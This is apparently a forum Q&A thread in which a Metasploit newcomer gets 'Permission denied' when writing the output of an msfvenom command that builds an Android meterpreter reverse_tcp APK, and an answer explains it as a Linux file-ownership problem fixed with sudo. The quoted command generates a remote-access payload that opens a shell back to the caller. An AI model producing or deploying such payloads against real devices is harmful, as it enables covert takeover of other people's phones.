0

I am pretty much completely new to Metasploit so I may just be having a problem that anyone who is experienced could fix but I hadn't seen any fixes online anywhere. I am running

msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk

and get returned

bash: filename.apk: Permission denied

Also to even run this command without getting piles of errors or to run the metasploit console I have to be in /opt/metasploit-framework.

Anyways, I have only found one source with the same problem, Getting 'Permission Denied' when running bundler command, however, there is no solution here either.

Has anyone else encountered this problem and found a solution?

Byte Commander
  • 105,631
  • 46
  • 284
  • 425

1 Answers1

2

If you run

msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk 

from a location you do not own creating the file filename.apk will result in a Permission denied. That is a well know security measure in Linux. In that case you need "sudo" in front of the command.

Also to even run this command without getting piles of errors or to run the metasploit console I have to be in /opt/metasploit-framework/

Means you probably own that directory and anything in it or parameters that are expected can be found from /opt/metasploit-framework/ and not from another directory (that will ne related to the PATH variable or setting the environment variables). Impossible to further answer unless you edit the messages into your question.

Fabby
  • 34,341
  • 38
  • 97
  • 191
Rinzwind
  • 293,910
  • 41
  • 570
  • 710